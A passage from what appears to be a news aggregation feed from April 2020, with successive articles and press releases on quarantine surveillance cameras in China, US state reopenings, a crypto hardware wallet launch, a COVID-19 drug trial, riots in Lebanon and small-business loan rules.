and reporting suspicious activities. Since the outbreak, community workers have been given great leeway and tasked with epidemic control in residential compounds, enforcing home quarantine, as well as helping quarantined residents with basic needs, such as delivering food and groceries to their doors and taking out their trash. Whenever Lina Ali, a Scandinavian expat living in the southern city of Guangzhou, opened her front door to receive food deliveries, she said a bright light shone from the camera that was trained on her apartment door while she was in quarantine. She said her apartment building's property management staff came to install a surveillance camera outside her front door on the first day of her home quarantine earlier this month. "I hated when the camera would shine a bright light, they told us that it connects to the police station," said Ali. CNN agreed to refer to her with a pseudonym to protect her safety. "It made me feel like I truly was a prisoner in my own home." CNN has reached out to Guangzhou authorities for comment. In Shenzhen, the cameras used to monitor quarantined residents in one district were connected to the smartphones of police officers and community workers, according to a report on the district government's website. If someone breached their quarantine, the report said,"police and community workers will receive an alert immediately notifying them something is wrong." Maya Wang, a senior China researcher at Human Rights Watch, said there was a wide range of measures governments can take to protect public health in the pandemic, but "they don't necessarily have to blanket society with surveillance devices." "If you look at China's surveillance measures during the coronavirus outbreak, from the development of health codes to installation of surveillance cameras to enforce quarantine, we're seeing an increasingly intrusive use of surveillance technologies that were previously only seen in particularly repressed regions, like Xinjiang," she said, referring to the far western region home to China's Uyghur minority. "The surveillance measures being implemented during Covid-19, are unfortunately -- if not pushed back -- going to live with us for a very long time." [hq]The legal stance [/hq] China currently has no specific national law to regulate the use of surveillance cameras in public spaces. The Ministry of Public Security released a draft regulation on security cameras in 2016, but the ordinance is still waiting to be approved by the country's national legislature. In recent years, some local governments have issued their own regulations on the cameras. Tong Zongjin, a lawyer based in Beijing, said installing cameras outside a person's front door has always been in a legal gray area. "The area outside a person's front door is not part of their private residence and is considered a communal space. But the camera can be monitoring something personal, such as when the individual leaves and comes home," he said. Adding to the complexity of the issue is that these cameras are installed by authorities during a public health emergency for epidemic control purposes, so an individual's privacy has to be balanced against public interest and safety, Tong said. On February 4, the Cyberspace Administration of China issued a directive, calling on regional cyberspace authorities to "actively make use of big data, including personal information, to support epidemic prevention and control work," while protecting people's personal information. The directive bans the collecting of personal data for epidemic control without consent from organizations that have not received the approval from health authorities under China's cabinet, the State Council. It also said the collection of personal information should be limited to "key groups" such as confirmed or suspected Covid-19 patients and their close contacts, and that the information collected should not be used for other purposes, or be made public without consent. Organizations that collect personal information should adopt strict measures to protect data from being stolen or leaked, the document said. Lau, the privacy expert, said under Chinese law, organizations with the authority to collect and report personal information concerning public health emergencies include national and regional health authorities, medical institutions, disease prevention and control authorities, as well as local authorities such as townships and resident committees authorized by the government and emergency command headquarters. "Of course, the government will try to collect as much data as they can to help stop the spread of the virus, but they need to be done in appropriate collecting of data, proportionate, (and consider if there are) other less privacy intrusion methods to do the same thing," he said. [hq]A new era of digital surveillance? [/hq] Earlier this month, over 100 rights and privacy organizations around the globe issued a joint statement to call on governments to ensure the use of digital technologies to track and monitor citizens during the pandemic is carried out in line with human rights. "States' efforts to contain the virus must not be used as a cover to usher in a new era of greatly expanded systems of invasive digital surveillance," the statement said. "Technology can and should play an important role during this effort to save lives, such as to spread public health messages and increase access to health care. However, an increase in state digital surveillance powers, such as obtaining access to mobile phone location data, threatens privacy, freedom of expression and freedom of association, in ways that could violate rights and degrade trust in public authorities -- undermining the effectiveness of any public health response," it said. For now, it appears that the surveillance cameras on people's front doors are not there to stay. After Ali and Zhou finished their quarantine, they said the cameras were taken down. The community workers told Zhou he could keep the camera for free. But Zhou was so furious about having to live under its gaze for two weeks that he said he took out a hammer and smashed the device in front of the community workers. "If surveillance cameras are placed in public places, there's no problem -- they can monitor and deter unlawful acts. But they shouldn't appear in our private spaces," he said. "I can't bear the thought that our everyday lives are completely exposed to the government's scrutiny." The NHS could do away with hospital waiting rooms and continue with phone appointments after the coronavirus crisis said a professor at London Nightingale hospital. Professor Charles Knight said the NHS needs to look at doing away with waiting rooms and moving non-coronavirus patients to Nightingale in a Royal Society of Medicine webinar. Speaking about the move to telephone and video appointments he said: 'I think that has to and will be a prolonged and probably permanent feature of hospitals going forward. 'The hospital outpatient waiting room is probably a thing of the past and we shouldn't have it back.' He also said that non-coronavirus patients should be 'decanted' to Nightingale hospital so that is it eventually used only for non-coronavirus patients. London Nightingale hospital's Professor Charles Knight said the NHS should look at doing away with waiting rooms and keeping phone consultations after the coronavirus crisis He also said that hospitals need to work to become coronavirus- free so that they can start to treat other patients Nightingale hospital was built to accommodate 7,500 intensive care beds but only 799 of these are full. These comments came as he was discussing the effect coronavirus has had on treating other patients. Professor Knight recognised the importance of starting to treat other patients again which the NHS has struggled to do because intensive care units are full and because people are not going to the doctors for non-coronavirus issues. He said: 'There's increasing evidence that people are not taking the notice they usually would have of chest pain, and then presenting very late with much bigger myocardial infarctions (heart attacks) or even an increased risk of dying at home, cardiac arrest. 'That has to stop.' He used St Bartholomew's hospital in London as an example as they created a coronavirus-free environment for heart patients during the crisis. So far St Bartholomew's have performed heart surgery, including bypass, aortic dissection and valve replacements, on 100 patients. Professor Knight praised the NHS for its handling of the crisis and its rapid building of Nightingale Hospital. 'I don't think there's many private-sector companies that could have, or indeed have, responded to the pressures of Covid in the way we [the NHS] did. I don't think Ocado has quite got its delivery sorted out as quickly as we sorted out the Nightingale,' he said. It was this ability to adjust and react so fast that Professor Knight wants to see with treating other types of patients. Professor Knight wants the NHS to use the same flexibility and ability to respond to fast for non-coronavirus patients- 'We can take pride in what's been achieved in terms of the flexibility of the response across the whole country. And also, to learn from that to be more agile in the future and not go back to quite the sort of level of bureaucracy that we used to deal with,' he said. The professor also said that he was glad the hospital was never needed at the scale it was built for. He said that even with the right amount of beds there would not have been enough staff to support patients. 'When we first came here, and we looked at these vast halls and we saw the beginnings of the bed bays being rolled out - it was a profoundly moving, a really awe-inspiring and horrific moment, because if you imagined all those beds being full of patients - it was like the apocalypse,' he said. DENVER Governors across the country forged ahead Monday with plans to reopen their economies, even as the nation hit a grim milestone of 50,000 deaths from the coronavirus and public health experts warned against lifting stay-at-home orders too quickly. Numerous states, including some of the largest, began the process of lifting shelter orders in what could be a pivotal stage in the U.S. response to the pandemic. Texas, with its population of nearly 30 million, made one of the most expansive moves toward reopening when Gov. Greg Abbott announced that retail stores, restaurants, movie theaters and malls would be allowed to reopen with limited capacity Friday. In Ohio, Gov. Mike DeWine unveiled a more incremental reopening plan that would allow manufacturing work to resume and offices to reopen next week. And in Colorado, businesses tried to navigate new rules allowing some of them to open their doors Monday. The moves came as President Donald Trump promised to help the states ramp up testing and called on them to consider reconvening schools before the end of the academic year rather than waiting until the fall, as many districts have decided or are expected to do. In a conference call with the governors devoted mainly to ventilators and testing, Trump raised the idea of bringing students back to classrooms in the next few weeks. Some of you might start to think about school openings, he said, according to an audio recording. Addressing Vice President Mike Pence, who was also on the call, he added, I think its something, Mike, they can seriously consider and maybe get going on it. A White House document makes clear that the states are still primarily responsible for testing and that Washington is only the supplier of last resort. Administration officials told reporters that the testing plan commits the federal government to help each of the 50 states test at least 2% of their populations every month. But that figure was not in the document, and the president did not mention it at Mondays briefing. Rather than the more comprehensive surveillance testing sought by many public health experts, the administration is focused on sentinel testing of targeted sites that are particularly vulnerable, like nursing homes and inner-city health centers. We want to get our country open, Trump said at the briefing, which included a group of business executives who promised to help with testing. New coronavirus infections and deaths appear to be plateauing on a national level, but they are still surging in some of the states and counties reopening this week. As the known death toll from the virus crossed the bleak threshold of 50,000 people, according to a New York Times tally, the total number of confirmed cases in the country topped 983,000. Health experts worry that reopening prematurely without sufficient testing, protective equipment and other safeguards could fuel another spike in cases that may not be detected in official numbers for two weeks. Theres a belief that weve brought our numbers down; were out of the woods. That is completely not the case, said Jennifer Nuzzo, a senior scholar at the Johns Hopkins Center for Health Security. Theyve seen a decline in the sickest patients, but theres a lot of infection that can spread silently, and suddenly youre back where you started. The efforts to reopen across the country were creating a patchwork of contradictory rules that could undermine weeks of messages urging Americans to stay home and could endanger the entire nations ability to beat back the pandemic. In states that were hardest hit, leaders have been more tentative. In New York, Gov. Andrew Cuomo on Monday said that what he called low-risk businesses upstate could begin reopening by mid-May, but he cautioned that shutdown orders were likely to be extended for many parts of the state. Although the states around Louisiana have started easing restrictions, Gov. John Bel Edwards said Monday that he was extending his states stay-at-home order into next month. The fact is, Edwards said at a briefing, we just dont meet the criteria. Even as the states take different approaches, Attorney General William Barr signaled that he had reservations about the way some officials were reopening their economies. He asked federal prosecutors around the country Monday to look out for emergency state or local orders issued to contain the coronavirus pandemic that could also violate constitutional rights and civil liberties and to fight them in court if needed. Several of the states that are reopening still do not have widespread testing or systems in place to track infections. In the seven weeks since Trump promised that anyone who needed a test could get one, the U.S. has conducted about 5.2 million tests, far more than any other country but the equivalent of about 1.6% of the total population. That is a small fraction of what public health experts say is necessary to ensure a safe and gradual reopening of schools, businesses and other public venues. A group of experts convened by Harvard Universitys Edmond J. Safra Center for Ethics has called for 5 million tests a day by early June, ramping up to 20 million per day by late July. Paul Romer, a Nobel Prize-winning economist from New York University, has called for 25 million tests per day, with the capacity to test twice that many in surge situations. Romer said testing 2% of the population was not enough to test everyone in health care even once; let alone to keep retesting them every day, which is what it would take to keep those who do get infected from going on shift and infecting their colleagues. While most governors took similar steps to shut down public life last month as coronavirus cases soared, they are now trying to calibrate how to revive their economies amid clashing pressures to protect peoples health while also helping millions of unemployed Americans get back to work. Governors who were the first to allow businesses to open have been criticized by mayors, public health experts and even Trump who has urged states to reopen for acting too hastily. Abbott had previously lifted some restrictions, including on retail shopping and state parks. But his announcement Monday brought his state to the brink of a complete reopening. The governor said that Texas was not as hard-hit as other states and that it had expanded testing, stocked up on protective equipment and witnessed the third-most coronavirus recoveries in the country. Abbott said that as a result, he was letting the stay-at-home mandate end, a move that gave Texas one of the shortest such orders in the country. Abbott had issued the order far later than the governors in California, New York and other large states. The Texas mandate will have been in effect for 28 days when it expires Thursday. That executive order has done its job to slow the growth of COVID-19, Abbott told reporters at the Texas Capitol on Monday. On Monday, states that were beginning to reopen faced an uneasy balance as lunch patrons at Tennessee diners and shaggy-haired barbershop customers in Colorado greeted the resumption of normal life with a mix of relief and wariness. Dine-in restaurant service resumed across much of Tennessee even as the state reported 250 new cases Monday, a day after its largest one-day spike in infections. Under a plan laid out by Gov. Bill Lee, restaurants outside of Tennessees largest cities are now allowed to serve dine-in customers with half of their usual capacity and with no more than six people per table. Employees and customers should also be screened for signs of sickness, according to the plan. Bars are not allowed to reopen; live music performances are also forbidden. Andy Marshall opened four of his nine restaurants Monday, drawing a modest but steady crowd for lunch at his Pucketts Grocery locations, where they serve Southern staples. I figure things are going to be slow for a while, he said, and were going to have to get patient. But health experts warned that the virus does not care about state and city borders, and they worried that people in places with tighter rules would simply wander out to eat or shop in less-regulated places and return home, potentially spreading the virus. If you want a hamburger on a Friday night and your favorite restaurant is closed in Nashville or Memphis, youre probably going to drive 20 minutes down the road, said Dr. Aaron Milstone, a pulmonary specialist in Franklin, Tennessee, who led efforts to persuade the governor to issue a stay-at-home order. In Colorado, real estate showings were allowed to restart Monday as the governors stay-at-home order expired, and pet owners were able to take their dogs and cats to the vet for nonemergency operations. At the same time, Denver and many surrounding suburbs decided to extend their closure orders through the first week of May, leaving most businesses closed. Many business owners said they were uncertain about the new rules, and were trying to make sense of a cacophony of messages from Trump, governors, county commissioners and mayors. I couldnt sleep last night because I was so confused, Jose Oregel, who owns a barbershop in Greeley, Colorado, said Monday morning, an hour before he was expecting some of his first customers, who will now get haircuts from barbers in face masks and gloves. Local health leaders in Oregels corner of northern Colorado, a conservative hub of ranching and oil drilling, had urged county leaders not to reopen amid a surge of coronavirus cases tied to a meatpacking plant and other hot spots. But county leaders said businesses had a right to open, and Oregel, who has bills to pay, decided it was worth the risk. Its hard, said Bob Smith, 60, who opened Continuum Coffee on Monday for takeout only. He said he did not anticipate that tables of lingering latte drinkers would be back anytime soon. You hear one government office saying, Youre good, and another saying, No youre not. I dont know. Florida and Arizona have stay-at-home orders due to expire Thursday, but the governors of both states have been vague about their plans. Gov. Ron DeSantis said that while he had discussed how to reopen with other Southern states, Florida was so big and diverse that it required its own rules. I have five states in one, pretty much, here already, DeSantis said Monday at a news conference. This is a bottom-up deal beginning with cities and counties. In Arizona, Gov. Doug Ducey has signaled that he will follow reopening guidelines provided to governors from the White House. Ducey has faced intense pressure to reopen parts of Arizonas economy as conservative protesters, many holding military-style rifles, have swarmed the state Capitol to demand an easing of distancing measures. While public health experts warn that many states still have vulnerable health systems and are not doing enough testing, some governors have said they can reopen because of new temporary hospital beds, fewer hospitalized patients and a slowly growing testing capacity. In Ohio, DeWine said that the state should be able to triple the amount of testing by the end of May, to 22,000 tests per day from 7,200, and that volunteers were being trained to trace contacts for coronavirus cases. DeWine was the first governor to shut down schools statewide and has taken among the most aggressive approaches, but he said there was a growing risk to the economy if Ohio did not start reopening. I think we found the spot that is most likely to cause less damage, more likely to cause good, DeWine said. But it is a risk, and I fully understand the risk. With states not bound by any unified national plan, the different timelines for reopening have created a gulf between those hustling to reopen restaurants, movie theaters and tattoo parlors, and New York and California, which are moving more slowly and cautiously toward reopening. Governors in Hawaii, New Mexico and Louisiana have all extended their states stay-at-home orders. And in California, Gov. Gavin Newsom warned Monday that the timetable for opening up could be jeopardized by people ignoring social distancing rules after images recently circulated of packed beaches in Southern California and new data showed an increase in movement across the state. California is part of a regional pact of Western states vowing to coordinate their reopening plans. On Monday, Colorado and Nevada joined the coalition. In the Northeast, New York and six other states are acting together as well. Workers say they are living in limbo as they watch other states reopen and worry about the risks of going back to work versus the bills piling up. In Nevada, where the stay-at-home order expires Thursday, Deidra Young feels torn. Young was laid off from her job as a bartender at an Irish pub on the Vegas strip on St. Patricks Day. She wants to go back to work but wondered whether it was worth the risk to stand in a half-empty bar and barely make the hourly $8.25 minimum wage. If my work does call me, I honestly want to say no, Young said. But will I not get unemployment if I refuse? It was an agonizing calculation, she said: We all want to go back to work, but we dont want to get sick. This article originally appeared in The New York Times. A man and a woman wearing face masks walk past advertisements of a shoe store temporarily selling face masks and antibacterial hygiene products in Berlin on March 16, 2020. Germany's coronavirus infection rate has reportedly edged up, prompting the head of the country's infectious diseases institute to urge people to stay at home as much as possible amid a relaxation of lockdown measures. Germany's virus reproduction rate, called the "R" rate or value, is now at 1.0 in Germany, according to Lothar Wieler, the president of the Robert Koch Institute, having risen from 0.7 earlier this month. The "R" rate means that, on average, every one person with the virus infects one other individual. Keeping this rate below 1.0 is an aim during the coronavirus pandemic. "The number should stay below one, that is the big goal," Wieler told a news conference Tuesday, Reuters reported. "The further it is below one, the more secure we can feel, the more leeway we have, but there are other numbers that are also important," he said, adding that these included the number of cases per day, and testing capacity. Wieler urged Germans to maintain rigorous social distancing despite a slight easing of restrictions on public life. "Against the background of the easing (of restrictions), let's ensure we can continue to defend this success we have achieved together," he said. "We don't want the number of cases to rise again." "Let's, insofar as is possible, stay at home, let's stick to the reduced contact." CNBC has asked the institute for further comment on the latest transmission data. [April 28, 2020] NGRAVE Launches World's Most Secure Cryptocurrency Hardware Wallet Brussels/San Francisco, April 28, 2020 (GLOBE NEWSWIRE) -- (via Blockchain Wire) Digital asset security company NGRAVE (https://www.ngrave.io/) today announced its flagship product NGRAVE ZERO, the worlds most secure crypto hardware wallet. NGRAVE ZERO was developed in collaboration with world leaders in applied industrial cryptography, nanoelectronics, and chip manufacturing, and is made in Belgium to ensure the highest level of quality. Wallets are already in production phase and will be available for purchase starting May 26, 2020, and shipping in October 2020. Intending to make digital asset ownership more accessible and secure to all, NGRAVE received funding from the Flemish Government, the European Commission, and the Web3 Foundation, along with private investments to develop its fully offline hardware wallet. NGRAVE ZERO uses the most advanced cryptographic protocols along with firmware that has earned the highest security certification in the world, EAL7. Whereas competing hardware wallets like Ledger and Trezor rely on a USB connection or Bluetooth, NGRAVE removes the need for any connection (USB, WiFi, 4G, Bluetooth, NFC), instead using wall charging and QR codes to remain fully air gapped even while conducting transactions and creating accounts. All of these features are packaged in a design-focused user interface with a 4-inch touchscreen. To conceptualize and develop these security features, NGRAVE partnered with Imec, a world leading Research & Development hub for nanoelectronics and chip manufacturing, and COSIC, a leading research group for applied industrial cryptography, known for a.o. hacking Tesla vehicles. Millions of dollars in digital assets are stolen every single day. Cryptocurrency theft topped $2.5 billion in 2018 and an astounding $4.3 billion last year, said Ruben Merre, Co-Founder and CEO of NGRAVE. Thats the reason we built NGRAVE. Its our mission to enable users to take secure ownership and control of their digital assets. Merre is also the regional lead for BitAngels in the Benelux (Belgium, the Netherlands, and Luxembourg) and sees NGRAVE as "an important player to remove security as one of the largest adoption hurdles for blockchain technology," while "fostering ecosystem growth by connecting promising projects with investors through the BitAngels network." NGRAVE Co-Founder and CTO Xavier Hendrickx first became acutely aware of cryptos security pitfalls in 2014 as a victim of the infamous Mt. Gox hack, in which 850,000 bitcoins (valued at $450 million at the time and worth over $3 billion at todays prices) were stolen from the exchange. Later as a blockchain developer at Swarm City in 2017, he was one of the first to notice the Parity Hack which resulted in 44,000 ETH ($10 million) stolen from the company. This time around, different teams put their heads together, figured out the vulnerabilities that led to the hack, and the ethical hacking team saved 500 projects and over $200 million from suffering the same fate. In the aftermath, Hendrickx became CTO of SwarmCity. Realizing the need to focus on the fight for better security in crypto, Hendrickx soon joined forces with co-founders Ruben Merre and Edouard Vanham to launch NGRAVE in 2018. Launching alongside the ZERO wallet is NGRAVE GRAPHENE, the first recoverable backup in the industry. Replacing antiquated paper wallets, GRAPHENE is a cryptographic puzzle consisting of two durable stainless steel plates and fully resistant to shocks, rain, fire, and other damage. The companys end-to-end solution also features NGRAVE LIQUID, a mobile app that syncs all generated accounts from each hardware wallet. This allows each user to easily consult real-time balances or ask to receive transactions. Communication between the NGRAVE ZERO and the NGRAVE LIQUID app occurs through QR codes. This way, the app never has access to the ZEROs secret keys, protecting users from any online attack vectors. With NGRAVE ZERO, we zoomed in on every detail of the user journey, upgrading security features and the user experience along the way, said Edouard Vanham, Co-Founder and COO of NGRAVE. With this end-to-end, consumer-focused approach, weve developed the most secure and intuitive cryptocurrency hardware wallet in the world. We hope to spread the word that a better solution exists, and that NGRAVE can make crypto more accessible and trustworthy on a massive scale. NGRAVE will support over 20 coins in its first-shipped devices including Bitcoin, Ethereum (and ERC20 tokens), Ripple, Bitcoin Cash, Litecoin, EOS, Tether, Binance Coin, Tezos, ChainLink, Stellar, TRON, Ethereum Classic, NEO, Dash, Maker, Zcash, USD Coin, Basic Attention Token, Dogecoin, Bitcoin Gold, 0x, OmiseGO, Augur, Bitcoin Diamond, TrueUSD, Enjin Coin, Dai, DigixDAO, DigiByte, Aeternity, Golem, Status, Celsius Network, iExec RLC, Groestlcoin, and Kusama. The wallet was developed to simplify the integration process, so that additional cryptocurrencies can be easily added in the future. NGRAVE wallets will be available for purchase via Indiegogo on May 26, 2020. NGRAVEs Indiegogo campaign will support production to meet global demand, as well as worldwide marketing efforts. ABOUT NGRAVE NGRAVE is a blockchain security provider offering a user-friendly end-to-end solution for the self-sovereign management of individuals and businesses digital assets and cryptocurrencies. The NGRAVE product suite consists of hardware wallet NGRAVE ZERO, backup solution NGRAVE GRAPHENE, and mobile application NGRAVE LIQUID. Developed with world leaders in nanoelectronics, hardware security and applied cryptography, NGRAVE ZEROs advanced features make it the most secure and easy to use crypto hardware wallet in the world. NGRAVE will support over 20 coins in its first shipped devices including Bitcoin, Ethereum (and ERC20 tokens), Ripple, Bitcoin Cash, Litecoin, EOS, and many others. Media Contact: Transform Group, [email protected] Company Contact: Ruben Merre CEO NGRAVE [email protected] [email protected] [ Back To TMCnet.com's Homepage ] BERGEN, Norway, April 28, 2020 /PRNewswire/ -- BerGenBio ASA (OSE: BGBIO), a clinical-stage biopharmaceutical company developing novel, selective AXL kinase inhibitors for unmet medical need, announces that bemcentinib has been selected as the first potential treatment to be fast-tracked in a new UK national multi-centre randomised Phase II clinical trial initiative that aims to save lives and get an early indication of bemcentinib's effectiveness in treating the most vulnerable patients with COVID-19. The AC celerating CO VID-19 R esearch & D evelopment platform (ACCORD) study is being funded by the Department of Health and Social Care (DHSC) and UK Research and Innovation (UKRI). ACCORD brings together a single, UK-wide clinical trial platform provided by the clinical research company IQVIA and the UK's leading research expertise through the National Institute for Health Research, to rapidly test potential drugs through early stage clinical trials and feed them into the UK's large-scale COVID-19 studies such as the RECOVERY trial, currently the world's largest randomised controlled clinical trial for COVID-19 treatment. ACCORD COVID-19 trial The ACCORD study is a multicentre, seamless, Phase II adaptive randomisation platform trial to assess the efficacy and safety of multiple candidate agents, the first of which is bemcentinib, for the treatment of COVID-19 in hospitalised UK NHS patients. The study, with drug material and trial resources provided by BerGenBio, will rapidly commence testing in 120 subjects (60 hospitalised COVID-19 patients and 60 control group patients receiving standard of care treatment) across 6 UK NHS hospital trusts, with the first patients due to be treated imminently. BerGenBio anticipates that top line data will readout within a few months. Data will be open source and freely available to enable global knowledge sharing and collaboration. If positive results are seen, bemcentinib will advance rapidly into the large-scale Phase III trials currently in progress across the UK. Bemcentinib's applicability to treat COVID-19 COVID-19 is the clinical disease manifested as a result of SARS-CoV-2 coronavirus infection, responsible for the current COVID-19 pandemic. Preclinical data suggest that bemcentinib is potentially useful for the treatment of early SARS-CoV-2 infection. There are currently no approved medical treatments for, or vaccines against, COVID-19. Bemcentinib is a once-a-day, oral, highly selective and potent inhibitor of AXL kinase being developed by BerGenBio. Bemcentinib has previously demonstrated a key role in cancer treatment: preventing immune evasion, drug resistance and metastasis in a variety of cancer trials. The drug has to date been shown to be safe and well-tolerated in hundreds of patients and in many cases taken daily for several years. Bemcentinib has previously been reported to exhibit potent anti-viral activity in preclinical models against several enveloped viruses, including Ebola and Zika virus. Recent data have expanded this to SARS-CoV-2.1,2 Bemcentinib selectively inhibits AXL kinase activity, blocking viral entry and enhancing the anti-viral type I interferon response, a key cellular defence mechanism against viral infection. Richard Godfrey, Chief Executive Officer of BerGenBio, commented: "We are delighted to be part of this initiative which is a ground-breaking partnership between government, academia and industry. We are hopeful that bemcentinib can play a significant role in the global effort to find suitable treatment options for COVID-19 patients, which has had such serious implications for so many people and thereby ease pressures on hospital intensive care units, and ultimately treat thousands of patients. We are poised to commence dosing in the coming days and will provide results as soon as is practically possible." Health and Social Care Secretary, Matt Hancock, said: "Currently no drugs in the world have been clinically proven to treat Covid-19. But our Therapeutics Taskforce has identified a number of promising candidates. Currently, six different treatments have been entered into national clinical trials and the first is ready to enter the next stage: a new early phase clinical trial platform that we are launching today. This is a national effort made possible by government, academia and industry working together." Professor Tom Wilkinson, ACCORD clinical academic lead based at the National Institute for Health Research (NIHR) Southampton Biomedical Research Centre, said: "There has been a tremendous effort to pull this initiative together so rapidly. ACCORD is a national effort and will be key to developing effective new treatments which are needed so desperately. The ACCORD platform will be able to rapidly test potential new treatments, advancing the most promising through Phase 2 clinical trials into the NHS. This unique national platform for developing new COVID-19 drug candidates will access the world-class expertise and resources of the NIHR Respiratory Translational Research Collaboration and allied centres nationwide." ACCORD is part of a co-ordinated therapeutic development pathway that the Government has put in place, overseen by the Department for Business, Energy and Industrial Strategy and delivered by UKRI, as part of the overall Therapeutics Taskforce. References 1 Dowall SD et al. Antiviral Screening of Multiple Compounds against Ebola Virus. Viruses 2016, 8:27 2 Meertens L et al. Axl mediates ZIKA virus entry in human glial cells and modulates innate immune responses. Cell Rep 2017 18:324 Presentation and webcast tomorrow BerGenBio will be hosting a live webcast and Q&A session at 10.00 CEST tomorrow, 29 April: Webcast link: https://channel.royalcast.com/webcast/hegnarmedia/20200429_9/ Dial-in numbers: NO: +47 2195 6342 UK: +44 203 769 6819 US: +1 646 787 0157 PIN: 569168 The presentation will also be made available at www.bergenbio.com/investors, and the recording will be available shortly after the webcast has finished. About BerGenBio BerGenBio is a clinical-stage biopharmaceutical company focused on developing transformative drugs targeting AXL as a potential cornerstone of therapy for aggressive diseases, including immune-evasive, therapy resistant cancers. The company's proprietary lead candidate, bemcentinib, is a potentially first-in-class selective AXL inhibitor in a broad Phase II oncology clinical development programme focused on combination and single agent therapy in lung cancer and leukaemia. A first-in-class functional blocking anti-AXL antibody, tilvestamab, is undergoing Phase I clinical testing. In parallel, BerGenBio is developing companion diagnostic tests to identify those patient populations most likely to benefit from bemcentinib: this is expected to facilitate more efficient registration trials supporting a precision medicine-based commercialisation strategy. BerGenBio is based in Bergen, Norway with a subsidiary in Oxford, UK. The company is listed on the Oslo Stock Exchange (ticker: BGBIO). For more information, visit www.bergenbio.com. Forward looking statements This announcement may contain forward-looking statements, which as such are not historical facts, but are based upon various assumptions, many of which are based, in turn, upon further assumptions. These assumptions are inherently subject to significant known and unknown risks, uncertainties and other important factors. Such risks, uncertainties, contingencies and other important factors could cause actual events to differ materially from the expectations expressed or implied in this announcement by such forward-looking statements. This information is subject to the disclosure requirements pursuant to section 5-12 of the Norwegian Securities Trading Act. This information was brought to you by Cision http://news.cision.com https://news.cision.com/bergenbio-asa/r/bergenbio-s-bemcentinib-selected-to-be-fast-tracked-as-potential-treatment-for-covid-19-through-new-,c3099640 The following files are available for download: For more information, please contact Richard Godfrey CEO, BerGenBio ASA +47 917 86 304 Rune Skeie, CFO, BerGenBio ASA [email protected] +47 917 86 513 International Media Relations Mary-Jane Elliott, Chris Welsh, Lucy Featherstone, Carina Jurs Consilium Strategic Communications [email protected] +44 7780 600290 Media Relations in Norway Jan Petter Stiff, Crux Advisers [email protected] +47 995 13 891 SOURCE BerGenBio ASA Related Links http://www.bergenbio.com Hundreds of protesters in Lebanons northern city of Tripoli have set fire to two banks and hurled stones at soldiers, who responded with tear gas and batons in renewed clashes triggered by an economic crisis spiralling out of control amid a weeks-long virus lockdown. The clashes started in the afternoon, hours after a tense funeral was held for a 27-year-old man killed during riots overnight in Lebanons second largest city. Fawwaz Samman was shot by soldiers during confrontations that began on Monday night and died in hospital hours later. Anti-government demonstrators burn tyres in Tripoli (Bilal Hussein/AP) Tripoli is one of the poorest cities in Lebanon. The violence is a reflection of rising poverty amid a crippling economic and financial crisis that has worsened since October, when nationwide protests broke out. A lockdown to stem the spread of coronavirus has further aggravated the crisis, throwing tens of thousands more people out of work. The national currency has lost more than 50% of its value, and banks have imposed crippling capital controls amid a liquidity crunch. Scattered anti-government protests broke out in several parts of Lebanon (Bilal Hussein/AP) Riots intensified later in the afternoon with protesters setting two police vehicles ablaze as the army brought in reinforcements to try to bring the situation under control. Soldiers chased protesters through the streets after they threw stones at troops, and also fired tear gas and rubber bullets. Earlier in the day, hundreds marched in the funeral procession for Mr Samman, and gunmen fired in the air in a display of anger and mourning. The mans body was brought from his parents home and placed briefly in front of his motorcycle repair shop before he was laid to rest in a Tripoli cemetery. Apparently to avoid more tension, his body was not taken to Nour Square, as previously planned. Most of the violence had taken place in the square. Anti-government protesters scuffle with soldiers in Zouk Mosbeh (Bilal Hussein/AP) The army command expresses its deep regret for the fall of a martyr, the military said, adding that an investigation has been opened into his death. Story continues Small protests also erupted elsewhere in Lebanon, leaving scores injured and more than a dozen people detained, according to the Lebanese military. Last week, scattered anti-government protests resumed as authorities began easing a weeks-long lockdown to limit the spread of coronavirus in Lebanon, which has reported 710 cases and 24 deaths so far. In a statement about the overnight riots, the Lebanese army said troublemakers who had infiltrated the protesters to attack banks also threw firebombs and grenades at soldiers, setting a military vehicle on fire. It said 54 troops were injured across the country and that the army detained 13 people. By Colleen Chien and Sarah Lageson The good news is that the Small Business Administration (SBA) began distributing over $300 billion in emergency relief funds to small businesses on Monday, a welcome and urgently needed development as the number of Americans who have lost their jobs due to the coronavirus has skyrocketed to historic levels. The bad news is that the SBA has retained its arbitrary and unjustified policy of discriminating against people with criminal records. In doing so, the SBA runs the risk of sinking, not rescuing those who have turned their lives around and started a business. To fulfill Congress intent, the agency must remove the record-related barriers it has placed to economic recovery, as called for by a growing, bipartisan chorus led by the Collateral Consequences Resource Center (CCRC). The Paycheck Protection Program offers small businesses forgivable loans to help make payroll. While the point of the program is to clear the path for emergency relief, the SBAs rules instead block assistance for the many business owners who are among the 1 in 3 Americans -- over 77 million people -- with criminal records. The New Jersey state repository holds records for over 2.3 million residents of the state, many of whom would be ineligible for this relief. Specifically, applicants are categorically ineligible if they have 20% or more ownership of the company and were convicted of a felony in the past five years, or are in jail, on probation or on parole. Also excluded are those who dont have any criminal convictions, but are facing criminal charges, have completed a pre-trial diversion program or have sealed or expunged records. But as experts have carefully documented, nothing in the COVID relief legislation nor the SBAs pre-existing policy requires or justifies such a broad and sweeping exclusion. While economic relief packages should open the door to loans for qualified small businesses, the SBA rules instead close the doors to those who have paid their debt to society. The SBA restrictions are also unfair, unjustified and bad for public safety. First, the SBAs rules run afoul of new evidence that shows that formerly incarcerated people, often barred from other jobs, are more likely to become entrepreneurs than those without criminal records - and that when they succeed, these business owners are less likely to commit another crime. The Prison Entrepreneurship Program, which for over a decade has identified and trained inmates for starting businesses, boasts a 7.5% 3-year recidivism rate. In contrast, 68% of released prisoners are arrested within three years. Second, the blanket prohibition on those who have merely been charged, not convicted of a crime violates the principle of presumption of innocence. The SBAs dangerous reliance on charges that have not turned into convictions - despite their notoriety for racial bias - gives the criminal justice system unjustified power to decide who should and who shouldnt be financially rescued. Third, the SBAs interim rule and application requirements further embed into our economic recovery the structural racism and disparities that plague the criminal justice system and are causing Black and Hispanic Americans to die at staggeringly elevated rates from coronavirus. Shutting out business owners with records greases the cycle of criminalization and poverty and pushes those who are already marginalized further to the edge. Finally, the SBAs screens are bad for public safety by exposing the public to the risk factors that create crime in the first place. Almost 90% of serious offenses are related to financial gain. Common sense and decades of research shows that steady, quality employment that allows for family stability, the development of professional networks and ties to the local community -- such as the meaningful work of small business owners -- has an even stronger impact on crime prevention. Excluding people from the stabilization of the CARES Act creates public safety risks. The SBAs rules are also out of step with bipartisan support for criminal justice reform advanced by President Trump and statehouses across the country. Never have we seen such broad-based enthusiasm for second chances and clean slates, especially in New Jersey. Its unclear why these 